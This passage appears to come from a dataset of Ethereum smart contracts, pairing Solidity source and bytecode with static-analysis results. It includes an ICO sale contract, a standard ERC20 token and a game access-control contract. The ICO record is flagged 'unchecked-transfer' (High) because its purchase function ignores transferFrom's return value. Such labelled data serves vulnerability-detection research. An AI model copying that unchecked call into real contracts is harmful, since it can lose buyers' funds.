* @param _wallet Address where collected funds will be forwarded to.
* @param _token Address of the token being sold.
* @param _tokenWallet Address holding the tokens, which has approved allowance to this contract.
*/
function ICOStartSale(address _wallet, ERC20 _token, address _tokenWallet) public {
require(_wallet != address(0));
require(_token != address(0));
require(_tokenWallet != address(0));
wallet = _wallet;
token = _token;
tokenWallet = _tokenWallet;
}
/**
* @dev Send weis, get tokens.
*/
function () external payable {
// Preconditions.
require(msg.sender != address(0));
require(msg.value >= MINIMUM_AMOUNT);
require(isOpen());
if (msg.value > MAXIMUM_NON_WHITELIST_AMOUNT) {
require(isAddressInWhitelist(msg.sender));
}
uint256 tokenAmount = getTokenAmount(msg.sender, msg.value);
weiRaised = weiRaised.add(msg.value);
token.transferFrom(tokenWallet, msg.sender, tokenAmount);
emit TokensPurchased(msg.sender, msg.value, tokenAmount);
wallet.transfer(msg.value);
}
/**
* @dev Add a sale period with its default rate.
* @param _startTimestamp Beginning of this sale period.
* @param _endTimestamp End of this sale period.
* @param _rate Rate at which tokens are sold during this sale period.
*/
function addPeriod(uint256 _startTimestamp, uint256 _endTimestamp, uint256 _rate) onlyOwner public {
require(_startTimestamp != 0);
require(_endTimestamp > _startTimestamp);
require(_rate != 0);
Period memory period = Period(_startTimestamp, _endTimestamp, _rate);
periods.push(period);
}
/**
* @dev Emergency function to clear all sale periods (for example in case the sale is delayed).
*/
function clearPeriods() onlyOwner public {
delete periods;
}
/**
* @dev Add an address to the whitelist or update the rate of an already added address.
* This function cannot be used to reset a previously set custom rate. Remove the address and add it
* again if you need to do that.
* @param _address Address to whitelist
* @param _rate Optional custom rate reserved for that address (0 = use default rate)
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _address, uint256 _rate) onlyOwner public returns (bool success) {
require(_address != address(0));
success = false;
if (!whitelistedAddresses[_address]) {
whitelistedAddresses[_address] = true;
success = true;
}
if (_rate != 0) {
whitelistedRates[_address] = _rate;
}
}
/**
* @dev Adds an array of addresses to the whitelist, all with the same optional custom rate.
* @param _addresses Addresses to add.
* @param _rate Optional custom rate reserved for all added addresses (0 = use default rate).
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _addresses, uint256 _rate) onlyOwner public returns (bool success) {
success = false;
for (uint256 i = 0; i <_addresses.length; i++) {
if (addAddressToWhitelist(_addresses[i], _rate)) {
success = true;
}
}
}
/**
* @dev Remove an address from the whitelist.
* @param _address Address to remove.
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place.
*/
function removeAddressFromWhitelist(address _address) onlyOwner public returns (bool success) {
require(_address != address(0));
success = false;
if (whitelistedAddresses[_address]) {
whitelistedAddresses[_address] = false;
success = true;
}
if (whitelistedRates[_address] != 0) {
whitelistedRates[_address] = 0;
}
}
/**
* @dev Remove addresses from the whitelist.
* @param _addresses addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _addresses) onlyOwner public returns (bool success) {
success = false;
for (uint256 i = 0; i < _addresses.length; i++) {
if (removeAddressFromWhitelist(_addresses[i])) {
success = true;
}
}
}
/**
* @dev True if the specified address is whitelisted.
*/
function isAddressInWhitelist(address _address) view public returns (bool) {
return whitelistedAddresses[_address];
}
/**
* @dev True while the sale is open (i.e. accepting contributions). False otherwise.
*/
function isOpen() view public returns (bool) {
return ((!paused) && (_getCurrentPeriod().rate != 0));
}
/**
* @dev Current rate for the specified purchaser.
* @param _purchaser Purchaser address (may or may not be whitelisted).
* @return Custom rate for the purchaser, or current standard rate if no custom rate was whitelisted.
*/
function getCurrentRate(address _purchaser) public view returns (uint256 rate) {
Period memory currentPeriod = _getCurrentPeriod();
require(currentPeriod.rate != 0);
rate = whitelistedRates[_purchaser];
if (rate == 0) {
rate = currentPeriod.rate;
}
}
/**
* @dev Number of tokens that a specified address would get by sending right now
* the specified amount.
* @param _purchaser Purchaser address (may or may not be whitelisted).
* @param _weiAmount Value in wei to be converted into tokens.
* @return Number of tokens that can be purchased with the specified _weiAmount.
*/
function getTokenAmount(address _purchaser, uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(getCurrentRate(_purchaser));
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens remaining for sale.
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/*
* Internal functions
*/
/**
* @dev Returns the current period, or null.
*/
function _getCurrentPeriod() view internal returns (Period memory _period) {
_period = Period(0, 0, 0);
uint256 len = periods.length;
for (uint256 i = 0; i < len; i++) {
if ((periods[i].startTimestamp <= block.timestamp) && (periods[i].endTimestamp >= block.timestamp)) {
_period = periods[i];
break;
}
}
}
} | 0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306c933d881146102e8578063115ece4c1461031d57806324953eaa14610353578063257d9bb8146103a8578063286dd3f5146103bd5780633be64ed7146103de5780633f4ba83a146103fe5780634042b66f1461041357806347535d7b1461042857806349abe94b1461043d578063521eb2731461045e5780635c975abb1461048f57806370be89c1146104a4578063835cb53b146104fb5780638456cb59146105105780638da5cb5b146105255780639a3132991461053a578063bf5839031461055b578063bff99c6c14610570578063d9bd079914610585578063dce77d841461059a578063e17039b8146105bb578063f2fde38b146105df578063fc0c546a14610600575b600033600160a060020a0316151561015457600080fd5b66b1a2bc2ec5000034101561016857600080fd5b610170610615565b151561017b57600080fd5b674563918244f4000034111561019f5761019433610640565b151561019f57600080fd5b6101a93334610662565b6007549091506101bf903463ffffffff61068616565b60075560048054600654604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452338216602485015260448401859052519116916323b872dd9160648083019260209291908290030181600087803b15801561023c57600080fd5b505af1158015610250573d6000803e3d6000fd5b505050506040513d602081101561026657600080fd5b505060408051348152602081018390528151600160a060020a033316927f8fafebcaf9d154343dad25669bfa277f4fbacd7ac6b0c4fed522580e040a0f33928290030190a2600554604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156102e4573d6000803e3d6000fd5b5050005b3480156102f457600080fd5b50610309600160a060020a03600435166106a0565b604080519115158252519081900360200190f35b34801561032957600080fd5b50610341600160a060020a0360043516602435610662565b60408051918252519081900360200190f35b34801561035f57600080fd5b5060408051602060048035808201358381028086018501909652808552610309953695939460249493850192918291850190849080828437509497506106b59650505050505050565b3480156103b457600080fd5b5061034161071b565b3480156103c957600080fd5b50610309600160a060020a0360043516610726565b3480156103ea57600080fd5b506103fc6004356024356044356107d9565b005b34801561040a57600080fd5b506103fc6108c3565b34801561041f57600080fd5b5061034161093d565b34801561043457600080fd5b50610309610615565b34801561044957600080fd5b50610341600160a060020a0360043516610943565b34801561046a57600080fd5b50610473610955565b60408051600160a060020a039092168252519081900360200190f35b34801561049b57600080fd5b50610309610964565b3480156104b057600080fd5b50604080516020600480358082013583810280860185019096528085526103099536959394602494938501929182918501908490808284375094975050933594506109749350505050565b34801561050757600080fd5b506103416109d5565b34801561051c57600080fd5b506103fc6109e1565b34801561053157600080fd5b50610473610a60565b34801561054657600080fd5b50610309600160a060020a0360043516610640565b34801561056757600080fd5b50610341610a6f565b34801561057c57600080fd5b50610473610b18565b34801561059157600080fd5b506103fc610b27565b3480156105a657600080fd5b50610341600160a060020a0360043516610b50565b3480156105c757600080fd5b50610309600160a060020a0360043516602435610ba1565b3480156105eb57600080fd5b506103fc600160a060020a0360043516610c41565b34801561060c57600080fd5b50610473610cd9565b6000805460a060020a900460ff1615801561063a5750610633610ce8565b6040015115155b90505b90565b600160a060020a03811660009081526002602052604090205460ff165b919050565b600061067d61067084610b50565b839063ffffffff610dca16565b90505b92915050565b60008282018381101561069557fe5b8091505b5092915050565b60026020526000908152604090205460ff1681565b60008054819033600160a060020a039081169116146106d357600080fd5b5060009050805b82518110156107155761070383828151811015156106f457fe5b90602001906020020151610726565b1561070d57600191505b6001016106da565b50919050565b66b1a2bc2ec5000081565b6000805433600160a060020a0390811691161461074257600080fd5b600160a060020a038216151561075757600080fd5b50600160a060020a03811660009081526002602052604081205460ff161561079d5750600160a060020a0381166000908152600260205260409020805460ff1916905560015b600160a060020a0382166000908152600360205260409020541561065d57600160a060020a038216600090815260036020526040812055919050565b6107e1610df5565b60005433600160a060020a039081169116146107fc57600080fd5b83151561080857600080fd5b83831161081457600080fd5b81151561082057600080fd5b506040805160608101825293845260208401928352830190815260018054808201825560009190915292517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf660039094029384015590517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7830155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf890910155565b60005433600160a060020a039081169116146108de57600080fd5b60005460a060020a900460ff1615156108f657600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60075481565b60036020526000908152604090205481565b600554600160a060020a031681565b60005460a060020a900460ff1681565b60008054819033600160a060020a0390811691161461099257600080fd5b5060009050805b8351811015610699576109c384828151811015156109b357fe5b9060200190602002015184610ba1565b156109cd57600191505b600101610999565b674563918244f4000081565b60005433600160a060020a039081169116146109fc57600080fd5b60005460a060020a900460ff1615610a1357600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60048054600654604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452308216602485015251600093919092169163dd62ed3e9160448082019260209290919082900301818787803b158015610ae757600080fd5b505af1158015610afb573d6000803e3d6000fd5b505050506040513d6020811015610b1157600080fd5b5051905090565b600654600160a060020a031681565b60005433600160a060020a03908116911614610b4257600080fd5b610b4e60016000610e17565b565b6000610b5a610df5565b610b62610ce8565b60408101519091501515610b7557600080fd5b600160a060020a0383166000908152600360205260409020549150811515610715576040015192915050565b6000805433600160a060020a03908116911614610bbd57600080fd5b600160a060020a0383161515610bd257600080fd5b50600160a060020a03821660009081526002602052604081205460ff161515610c1d5750600160a060020a0382166000908152600260205260409020805460ff191660019081179091555b811561068057600160a060020a039290921660009081526003602052604090205590565b60005433600160a060020a03908116911614610c5c57600080fd5b600160a060020a0381161515610c7157600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b610cf0610df5565b506040805160608101825260008082526020820181905291810182905260015490915b81811015610dc55742600182815481101515610d2b57fe5b90600052602060002090600302016000015411158015610d6b575042600182815481101515610d5657fe5b90600052602060002090600302016001015410155b15610dbd576001805482908110610d7e57fe5b90600052602060002090600302016060604051908101604052908160008201548152602001600182015481526020016002820154815250509250610dc5565b600101610d13565b505090565b600080831515610ddd5760009150610699565b50828202828482811515610ded57fe5b041461069557fe5b6060604051908101604052806000815260200160008152602001600081525090565b5080546000825560030290600052602060002090810190610e389190610e3b565b50565b61063d91905b80821115610e62576000808255600182018190556002820155600301610e41565b50905600a165627a7a72305820b60b5cd91db83dd75e8b390a282cf3e52ed760346cbb23564fb39a52f62295110029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,926 |
0x5afff9876c1f98b7d2b53bcb69eb57e92408319f | /**
*Submitted for verification at Etherscan.io on 2021-12-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_mint(msg.sender, totalSupply_ * (10 **decimals()));
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x608060405234801561001057600080fd5b50600436106100c95760003560e01c80633950935111610081578063a457c2d71161005b578063a457c2d714610177578063a9059cbb1461018a578063dd62ed3e1461019d576100c9565b8063395093511461014957806370a082311461015c57806395d89b411461016f576100c9565b806318160ddd116100b257806318160ddd1461010c57806323b872dd14610121578063313ce56714610134576100c9565b806306fdde03146100ce578063095ea7b3146100ec575b600080fd5b6100d66101b0565b6040516100e391906106fd565b60405180910390f35b6100ff6100fa3660046106c9565b610242565b6040516100e391906106f2565b61011461025f565b6040516100e391906109db565b6100ff61012f36600461068e565b610265565b61013c6102fe565b6040516100e391906109e4565b6100ff6101573660046106c9565b610303565b61011461016a36600461063b565b610357565b6100d6610376565b6100ff6101853660046106c9565b610385565b6100ff6101983660046106c9565b6103fe565b6101146101ab36600461065c565b610412565b6060600380546101bf90610a16565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610a16565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061025661024f61043d565b8484610441565b50600192915050565b60025490565b60006102728484846104f5565b6001600160a01b03841660009081526001602052604081208161029361043d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156102df5760405162461bcd60e51b81526004016102d690610867565b60405180910390fd5b6102f3856102eb61043d565b858403610441565b506001949350505050565b601290565b600061025661031061043d565b84846001600061031e61043d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461035291906109f2565b610441565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf90610a16565b6000806001600061039461043d565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156103e05760405162461bcd60e51b81526004016102d69061097e565b6103f46103eb61043d565b85858403610441565b5060019392505050565b600061025661040b61043d565b84846104f5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104675760405162461bcd60e51b81526004016102d690610921565b6001600160a01b03821661048d5760405162461bcd60e51b81526004016102d6906107ad565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104e89085906109db565b60405180910390a3505050565b6001600160a01b03831661051b5760405162461bcd60e51b81526004016102d6906108c4565b6001600160a01b0382166105415760405162461bcd60e51b81526004016102d690610750565b61054c83838361061f565b6001600160a01b038316600090815260208190526040902054818110156105855760405162461bcd60e51b81526004016102d69061080a565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906105bc9084906109f2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161060691906109db565b60405180910390a361061984848461061f565b50505050565b505050565b80356001600160a01b038116811461037157600080fd5b60006020828403121561064c578081fd5b61065582610624565b9392505050565b6000806040838503121561066e578081fd5b61067783610624565b915061068560208401610624565b90509250929050565b6000806000606084860312156106a2578081fd5b6106ab84610624565b92506106b960208501610624565b9150604084013590509250925092565b600080604083850312156106db578182fd5b6106e483610624565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b818110156107295785810183015185820160400152820161070d565b8181111561073a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160408201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610a1157634e487b7160e01b81526011600452602481fd5b500190565b600281046001821680610a2a57607f821691505b60208210811415610a4b57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122025566d0e63c0e9c91579016e5b188c8784ea89d2be431e5458a138ca187d4ddf64736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 9,927 |
0xe60fc4632bd6713e923fe93f8c244635e6d5009e | pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract IBattleboardData is AccessControl {
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16);
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external;
function createNullTile(uint16 _battleboardId) private ;
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8);
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external ;
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external;
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public ;
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external ;
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external ;
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external ;
function iterateTurn(uint16 battleboardId) onlySERAPHIM external ;
function killBoard(uint16 battleboardId) onlySERAPHIM external ;
function clearAngelsFromBoard(uint16 battleboardId) private;
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) ;
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) ;
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) ;
function getMaxFreeTeams() constant public returns (uint8);
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) ;
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) ;
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) ;
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) ;
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address);
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) ;
